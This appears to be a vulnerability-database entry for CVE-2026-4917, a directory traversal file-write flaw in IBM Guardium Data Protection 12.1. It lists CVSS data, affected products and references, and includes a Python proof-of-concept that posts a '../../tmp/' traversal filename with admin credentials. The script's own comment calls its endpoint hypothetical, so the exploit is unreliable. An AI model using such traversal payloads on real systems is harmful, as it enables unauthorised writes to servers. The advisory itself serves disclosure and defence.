CVE-2026-4917

Description

IBM Guardium Data Protection 12.1 could allow an administrative user to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:guardium_data_protection:12.1:*:*:*:*:*:*:* - VULNERABLE

IBM Guardium Data Protection 12.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-4917: IBM Guardium Data Protection Arbitrary File Write
# This script demonstrates the directory traversal vulnerability.
# Note: Admin privileges are required (PR:H).

import requests

def exploit(target_ip, admin_user, admin_pass):
    # The vulnerable endpoint (hypothetical based on description)
    url = f"https://{target_ip}/api/upload_file"
    
    # The payload containing directory traversal sequences
    # Attempting to write to a sensitive system location
    traversal_payload = "../../tmp/malicious_payload.txt"
    
    data = {
        "file": traversal_payload,
        "content": "This is an arbitrary file write exploit."
    }
    
    try:
        response = requests.post(url, data=data, auth=(admin_user, admin_pass), verify=False)
        if response.status_code == 200:
            print("[+] Exploit successful! File written.")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage
# exploit("<TARGET_IP>", "admin", "password")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4917
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4917
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4917/
[4] VulDB https://vuldb.com/cve/CVE-2026-4917
[5] https://www.ibm.com/support/pages/node/7270422

Raw JSON Data

JSON

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